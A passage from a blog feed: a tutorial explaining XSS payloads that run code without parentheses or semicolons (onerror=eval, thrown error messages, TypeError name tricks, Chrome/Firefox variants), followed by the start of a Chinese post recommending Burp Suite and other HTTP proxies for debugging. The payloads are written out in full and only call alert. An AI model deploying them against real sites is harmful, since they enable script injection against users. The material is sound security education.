string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// add `` to run the function</span><span class="token comment">// remember to set the hash to #alert(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This constructs a payload that does not require parentheses but can execute arbitrary code, placing the actual string to be executed in the hash and dynamically executing the code in the hash.</p><h3><span id="onerror-event">onerror Event</span></h3><p>All the previous writing has not yet gotten to the main point; the original discovery mentioned at the beginning is another more clever method.</p><p>In a browser environment, by using <code>window.onerror</code>, we can receive all uncaught error events:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Err:'</span> <span class="token operator">+</span> err<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span class="token comment">// Err:Uncaught hello</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>By the way, the above code will not work if executed directly in DevTools (the reason is mentioned in the original post; errors will not be thrown to <code>onerror</code> when executed directly in the console), so please open an HTML to test.</p><p>In short, the above code tells us that in Chrome, the captured error message will be <code>Uncaught hello</code>.</p><p>So what if we directly replace <code>onerror</code> with <code>alert</code>?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>You will directly see a popup saying <code>Uncaught hello</code>. The above payload does not use any parentheses and achieves the purpose of executing a function.</p><p>Further extending this, we can replace <code>onerror</code> with <code>eval</code>, treating the error message as JavaScript code to execute, but the problem is how to construct valid code after replacing it with <code>eval</code>?</p><p>Since the captured error message will be: <code>Uncaught &#123;payload&#125;</code>, this entire sentence will be treated as code to execute, so as long as we replace the payload with: <code>=alert(1)</code>, the whole sentence becomes: <code>Uncaught=alert(1)</code>, using <code>Uncaught</code> in the error message as a variable, thus forming valid code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>If you still don’t understand the principle, replacing <code>eval</code> with <code>console.log</code> makes it very clear:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> console<span class="token punctuation">.</span>log<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span class="token comment">// Uncaught =alert(1)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Next, since the string follows <code>throw</code>, we can also use encoding to replace it, using <code>\x28</code> or <code>\u0028</code> will work:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert\x281\u0029'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>This constructs a payload that does not require parentheses.</p><h2><span id="further-eliminating-semicolons">Further Eliminating Semicolons</span></h2><p>Tagged template strings no longer require semicolons, so let’s continue along the path of <code>onerror</code> to see how to eliminate semicolons.</p><p>A simple and intuitive idea is to just use a comma (for convenience, I’ll use alert below):</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>But after running it, you’ll find an error: <code>Uncaught SyntaxError: Unexpected token &#39;throw&#39;</code>. This is because <code>throw</code> is not an expression but a statement, so it cannot be placed after a comma; we need another method.</p><p>In JavaScript, even if you don’t use <code>if</code> or other code that requires a block, you can create your own block to wrap the code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>This is indeed used in development (though not often), and its purpose is to deliberately create a block and use the <code>let</code> or <code>const</code> keywords, allowing variables to only exist within that block.</p><p>By utilizing a block, you can achieve the goal of separating code without needing semicolons:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>onerror<span class="token operator">=</span>alert<span class="token punctuation">&#125;</span><span class="token keyword">throw</span> <span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>In addition to using blocks, there are other cooler methods.</p><p>First, let’s talk about the use of commas in JavaScript. Basically, it concatenates several expressions and returns the result of the last one, such as:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment">// 1</span><span class="token comment">// true</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The expressions in <code>if</code> will sequentially execute <code>console.log(1)</code>, <code>alert(1)</code>, and finally return true, so the result of the <code>if</code> is valid, printing true.</p><p>And <code>throw</code> can be followed by an expression, so you can:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This will first execute <code>onerror=alert</code>, then execute <code>throw 1</code>, achieving the same effect as our method using <code>&#123;&#125;</code>. This is another way that doesn’t require semicolons.</p><p>The Chrome part ends here; the following is all efforts made for Firefox.</p><p>In Firefox, when there is an error, the format of the error message is different:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token comment">// uncaught exception: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Under this error message, it’s impossible to construct valid code, and the previous suggestion of replacing <code>onerror</code> with <code>eval</code> no longer works.</p><p>So Gareth Heyes continued to dig deeper and discovered two things. The first is that if you throw an Error instead of a string, the error message won’t have those annoying prefixes, leaving just <code>Error:</code>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// Error: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Since <code>Label:</code> is valid code in JavaScript, you can directly place code after it, making it easy:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>However, using <code>Error()</code> introduces parentheses, and Gareth Heyes’ second discovery is that in Firefox, you can throw an error-like object to achieve the same effect:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">lineNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">columnNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">fileName</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">message</span><span class="token operator">:</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>In summary, all of these efforts are to control the final error message produced by Firefox. As long as you can control it, you can construct valid code to pass to eval for execution.</p><p>Recently, I saw Gareth Heyes <a href="https://x.com/garethheyes/status/1961078705293246513">tweet</a> that Firefox is going to remove this feature: <a href="https://github.com/PortSwigger/xss-cheatsheet-data/issues/103">Firefox removed support for throwing error-like objects</a>, so he found a new method:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span>x<span class="token operator">=</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">,</span>x<span class="token punctuation">.</span>message<span class="token operator">=</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">,</span>x<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>It seems that if you want to create a new Error, you can do it without parentheses. After creating an Error object, you can set the message, and you can still control the error message.</p><h2><span id="other-payloads">Other payloads</span></h2><p>There are other payloads mentioned by others in the original post.</p><p>The first one comes from <a href="https://x.com/terjanq/status/1128692453047975936">@terjanq</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span><span class="token operator">/</span>a<span class="token operator">/</span><span class="token punctuation">,</span>Uncaught<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span>g<span class="token operator">=</span>alert<span class="token punctuation">,</span>a<span class="token operator">=</span><span class="token constant">URL</span><span class="token operator">+</span><span class="token number">0</span><span class="token punctuation">,</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span><span class="token operator">/</span><span class="token number">1</span><span class="token operator">/</span>g<span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token punctuation">[</span><span class="token number">1337</span><span class="token punctuation">,</span><span class="token number">3331</span><span class="token punctuation">,</span><span class="token number">117</span><span class="token punctuation">]</span><span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>I tried this payload, and it currently only works in Chrome. It can clearly be broken down into several parts:</p><ol><li><code>/a/</code></li><li><code>Uncaught=1</code></li><li><code>g=alert</code></li><li><code>a=URL+0</code></li><li><code>onerror=eval</code></li><li><code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code></li></ol><p>Because it is connected by commas, the part that gets thrown will be the last segment.</p><p>Let’s start with the last segment. What does <code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code> do?</p><p>First, <code>a</code> is <code>URL+0</code>, and <code>URL</code> is a global function. The function + 0 will become a string, so <code>a</code> is <code>&quot;function URL() &#123; [native code] &#125;0&quot;</code>, thus <code>a[12]</code> and <code>a[13]</code> are <code>(</code> and <code>)</code> respectively.</p><p>The <code>/1/g</code> is a regexp, and when it becomes a string, it will be <code>&quot;/1/g&quot;</code>. As for the array <code>[1337,3331,117]</code>, when converted to a string, it will call <code>join</code>, resulting in <code>&quot;1337,3331,117&quot;</code>.</p><p>Putting it all together, <code>/1/g+a[12]+[1337,3331,117]+a[13]</code> will be <code>/1/g(1337,3331,117)</code>.</p><p>Combined with what was mentioned earlier, the error message thrown will be:</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#x2F;1&#x2F;g(1337,3331,117)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Here, the <code>/</code> was previously treated as a regexp, but in the current code, it actually represents arithmetic division, i.e., <code>a / b / c</code>, where <code>a</code> is <code>Uncaught</code>, <code>b</code> is <code>1</code>, and <code>c</code> is <code>g(1337,3331,117)</code>.</p><p>If <code>Uncaught</code> is not declared, it will throw an error, which is why <code>Uncaught=1</code> is needed. Then <code>g</code> will be treated as a function, so <code>g=alert</code>.</p><p>What about the first line <code>/a/</code>? This is likely just to prevent a space between <code>throw</code> and the subsequent payload, and it doesn’t serve any other purpose.</p><p>The essence of this solution lies in making the error message become <code>Uncaught /1/g(1337,3331,117)</code> when thrown, which is a valid piece of code. As long as some prerequisites are fulfilled, it can successfully call the function <code>g</code>.</p><p>The second one comes from <a href="https://x.com/cgvwzq">@cgvwzq</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This is actually divided into two statements. The first statement is: <code>TypeError.prototype.name =&#39;=/&#39;</code>, which forcibly changes the name of <code>TypeError</code> to <code>=/</code>.</p><p>Without this line, the error message for <code>0[0][&#39;test&#39;]</code> would be: <code>Uncaught TypeError: Cannot read properties of undefined (reading &#39;test&#39;)</code>.</p><p><code>0[0]</code> will be undefined, and <code>undefined[&#39;test&#39;]</code> will throw this TypeError.</p><p>After we forcibly change the name:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'hello!'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'test'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// Uncaught hello!: Cannot read properties of undefined (reading 'test')</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>We can control the original part of <code>TypeError</code> to become any string.</p><p>The other statement <code>0[onerror=eval][&#39;/-alert(1)//&#39;]</code> simply places the assignment inside <code>[]</code>. After the assignment, it is equivalent to <code>0[eval]</code>, which will return undefined, thus throwing a TypeError.</p><p>Let’s look at it another way, with the following code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'&#123;1&#125;'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'&#123;2&#125;'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>The error message generated in Chrome would be:</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#123;1&#125;: can&#39;t access property &quot;&#123;2&#125;&quot;, 0[eval] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Now the problem becomes how to control the string above to make the error message a valid piece of code?</p><p>In place of <code>&#123;1&#125;</code>, the author placed <code>=/</code>, resulting in <code>Uncaught=/</code>. This <code>/</code> actually means regexp, so the idea of this method is to make the string before <code>&#123;2&#125;</code> (<code>: can&#39;t access property &quot;</code> ) become part of the regexp.</p><p>Thus, the beginning of <code>&#123;2&#125;</code> is <code>/</code>, forming a regexp with the preceding part, and then using <code>-alert(1)</code> to execute the function. It can also be changed to <code>+alert(1)</code>, as it just needs to string the two operations together. After execution, the subsequent code is all commented out with <code>//</code>, so it can be ignored.</p><p>However, if you actually run the above payload, you will find that Chrome returns the error message: <code>Invalid regular expression ... Unterminated group</code>. This is because there is a <code>(</code> in the error message, which may not have been there, causing the regexp syntax to be incorrect. You just need to add a <code>)</code> to fix it:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">')/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>The generated error message will be:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span><span class="token operator">:</span> Cannot read properties <span class="token keyword">of</span> <span class="token keyword">undefined</span> <span class="token punctuation">(</span>reading <span class="token string">')/-alert(1)//'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>A simplified version would be:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span>regexp<span class="token operator">/</span><span class="token operator">-</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment">//...</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>By the way, this payload works fine on Chrome 139, but Firefox 142 will throw an error: <code>Uncaught SyntaxError: expected expression, got &#39;=&#39;</code>.</p><p>If you want to debug, just change <code>onerror=eval</code> to <code>onerror=console.log</code> to see what the generated error message looks like:</p><pre class="line-numbers language-none"><code class="language-none">&#x3D;&#x2F;: can&#39;t access property &quot;)&#x2F;&#x2F;alert(1)&#x2F;&#x2F;&quot;, 0[console.log] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>It seems that in Firefox, there is nothing in front of the TypeError’s name, so to make it work in Firefox, you can just add any character that can be a variable in front:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'a=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>If you really understand this approach, you can actually insert code at the TypeName part by following this idea, resulting in the same outcome, but not that cool (it works fine on Chrome):</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=alert(1)//'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>As for how to construct a payload that works on both Chrome and Firefox, readers can practice on their own or refer to an example I created, which adds some variations:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'+/['</span><span class="token punctuation">,</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span>window<span class="token punctuation">.</span>Uncaught<span class="token operator">++</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">']/-alert\501\51&lt;!--'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="summary">Summary</span></h2><p>In fact, regardless of which payload it is, the core concept is the same: just turn the error message into valid JavaScript code and pass it to eval for execution.</p><p>To understand the payload, you need to be somewhat familiar with JavaScript code, such as <code>0[onerror=eval]</code> or the use of commas; you should at least know what’s going on.</p><p>Besides that, it’s about using your imagination, which is harder to practice and usually starts with observation and imitation.</p><p>Finally, here are a few key points:</p><ol><li>Commas can chain multiple expressions, returning the last one.</li><li>Replacing onerror with eval allows you to execute the error message as code.</li><li>Errors thrown will become part of the error message.</li><li>As long as you can turn the error message into valid code, you’ve succeeded.</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I received an email from a reader asking if I could write an article explaining &lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt;, saying that the payloads in it were hard to understand.&lt;/p&gt;
&lt;p&gt;Therefore, this article will briefly explain these payloads, referencing Gareth Heyes’ two articles:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses&quot;&gt;XSS technique without parentheses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>人人都需要一個 HTTP proxy 來 debug</title>
    <link href="https://blog.huli.tw/2025/04/23/everyone-need-a-http-proxy-to-debug/"/>
    <id>https://blog.huli.tw/2025/04/23/everyone-need-a-http-proxy-to-debug/</id>
    <published>2025-04-23T02:50:00.000Z</published>
    <updated>2025-04-23T11:40:51.930Z</updated>
    
    <content type="html"><![CDATA[<p>身為每天都要與網頁打交道的前端工程師，熟悉 DevTools 的使用是相當合理的。每當接 API 出問題時，就按下快捷鍵打開 DevTools，切到 Network 分頁，找到紅色的那一行，右鍵複製成 cURL 貼到群組裡面，讓後端自己找找問題。</p><p>但不曉得大家有沒有碰過 DevTools 不夠用的狀況，這時該怎麼辦？</p><span id="more"></span><h2><span id="devtools-真的會不夠用嗎是不是你不會用">DevTools 真的會不夠用嗎？是不是你不會用？</span></h2><p>舉幾個我實際碰過的案例，如果 DevTools 能解決那當然是最方便的，但我解決不了（也有可能是我不會用就是了）。另外，底下的 DevTools 指的都是 Chrome DevTools，或許其他瀏覽器的不會有這些問題。</p><h3><span id="重新導向前的請求細節看不到">重新導向前的請求細節看不到</span></h3><p>很多實作 OAuth 相關服務的網站在登入完成後，會跳轉到 redirect url 並且帶著一個 code，而這時有些網站會拿 code 去交換 access_token，然後再帶著 access_token 跳轉到下一個頁面。如果 code 交換 access_token 這一步有問題，該怎麼 debug 呢？</p><p>Chrome DevTools 在跳轉到其他頁面時，預設會把 console 跟 network 的東西都清空。有一個選項叫做「Preserve log」，把它勾起來以後看似問題就解決了，但其實沒有。</p><p>大家可以隨便找一個網頁，打開 DevTools 並且把保留 log 勾起來，然後執行以下程式碼：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'https://httpbin.org/user-agent'</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> window<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token string">'https://example.com'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>當跳轉完成以後，雖然 Network 那邊確實可以看到這個請求，但點進去以後只會看到「Failed to load response data」：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p1.png" alt="看不到請求"></p><p>這個問題從 2012 年就有人回報了，好不容易等了十幾年，2023 年底時說這個在 2024 的 roadmap 上，但目前依然沒有任何動靜：<a href="https://issues.chromium.org/issues/40254754">DevTools: XHR (and other resources) content not available after navigation.</a>。</p><p>總之呢，在這個情境之下，看不到 response 基本上沒辦法 debug，很不方便。</p><h3><span id="websocket-連線握手失敗找不到原因">WebSocket 連線握手失敗找不到原因</span></h3><p>雖然我們平常在用 WebSocket 時，只需要一行程式碼就可以建立連接，但背後其實是分了兩步。</p><p>第一步會發出一個 HTTP Upgrade 請求，完成以後才切換到 WebSocket 連線。雖然大多數狀況之下第一步都會成功，那如果第一步失敗會怎樣呢？</p><p>我們可以請 AI 寫一個很簡單的 demo 出來：</p><pre class="line-numbers language-none"><code class="language-none">寫一個 nodejs websocket server，然後用一個 nginx 擋在前面nginx 的作用是當 url 含有 ?debug 的時候要回傳 500 錯誤當 websocket 連線後會往 client 自動發送 hello 的 message最後要包裝成可以用 docker compose 跑起來<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>等 AI 產完之後用 docker 跑起來，一樣隨便開個網頁建立連接，會發現帶有 debug 的那個連線請求，你只知道失敗了，卻完全不知道原因：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p2.png" alt="看不到原因"></p><p>這個錯誤訊息甚至跟你隨便連一個沒開的 port 一樣，完全不知道為什麼會失敗，這樣也很難跟後端說問題在哪裡。</p><p>以上是兩個我有印象的範例，但實際開發中應該碰過更多更多，基本上都是只靠 DevTools 來看 Network 沒辦法解決的問題，要嘛是看不到，要嘛看到的東西不太對。</p><h2><span id="簡單好用的-http-proxy">簡單好用的 HTTP Proxy</span></h2><p>既然沒辦法靠 DevTools，那只能依賴更底層的工具了，例如說 HTTP Proxy！有些工具會在你本機起一個 proxy，這樣流量就會都經過它，自然而然就能看到所有的請求了，就不必再受限於 DevTools。</p><p>而且另一個好處是有地方可以互相對照，如果 proxy 顯示的跟 DevTools 顯示的不同，就有可能是 DevTools 顯示的東西有問題。</p><p>因此，誠心推薦大家找個 HTTP Proxy 來用，我自己用過的有這三個：</p><ol><li><a href="https://www.charlesproxy.com/">Charles</a></li><li><a href="https://portswigger.net/burp/communitydownload">Burp Suite</a></li><li><a href="https://mitmproxy.org/">mitmproxy</a></li></ol><p>以前我剛接觸 proxy 時用的是 Charles，接觸到資安以後就改成用第二個 Burp Suite 了。它其實是個可以拿來做各種資安相關測試的工具，但我覺得你只拿來做 proxy 也沒問題，非常方便。</p><p>第三個 mitmproxy 是開源且免費的，知名度也很高，我偶爾也會用但是用的方式不太一樣，這個晚點再講。</p><h3><span id="把-burp-suite-當-proxy-app-來用">把 Burp Suite 當 Proxy App 來用</span></h3><p>先到官網下載個免費的社群版：<a href="https://portswigger.net/burp/communitydownload">https://portswigger.net/burp/communitydownload</a></p><p>打開之後按下 Next 然後 Start Burp，就會看到主畫面。你會發現它的功能很多，但我們先切到「Proxy」頁籤底下「HTTP history」這一頁就行了：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p3.png" alt="Burp 畫面"></p><p>然後那顆很顯眼橘色的「Open Browser」點下去，就會開啟它自帶的 Chrome 瀏覽器，可以用這個瀏覽器訪問任何一個網頁，例如說 example.com。</p><p>接著切回工具，就會發現 HTTP history 裡面記錄著所有請求的原始內容跟 response：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p4.png" alt="請求紀錄"></p><p>如此一來，前面提過的跳轉案例跟 WebSocket 握手失敗，都可以在這邊看到原始請求內容，錯誤一目瞭然：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p5.png" alt="原始內容"></p><p>如果未來你碰到有些請求看不到，那就是被預設的 filter 篩選掉了，點 Filter settings 那邊選 show all 後 apply，應該就能看到了。</p><p>（若是有碰到不安全的連線等問題，需要先安裝憑證，請參考：<a href="https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate">Installing Burp’s CA certificate</a>）</p><p>以上就是 Burp Suite 做為 HTTP Proxy 的基本介紹。如果你不想用它提供的 Chrome，也可以自己設置電腦或是瀏覽器的 proxy，它預設會在 8080 port。</p><p>舉例來說，我在 Mac 上會再裝一個 Chrome Canary 專門拿來 debug，用這個指令可以開啟並且設定好 proxy 位置：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter 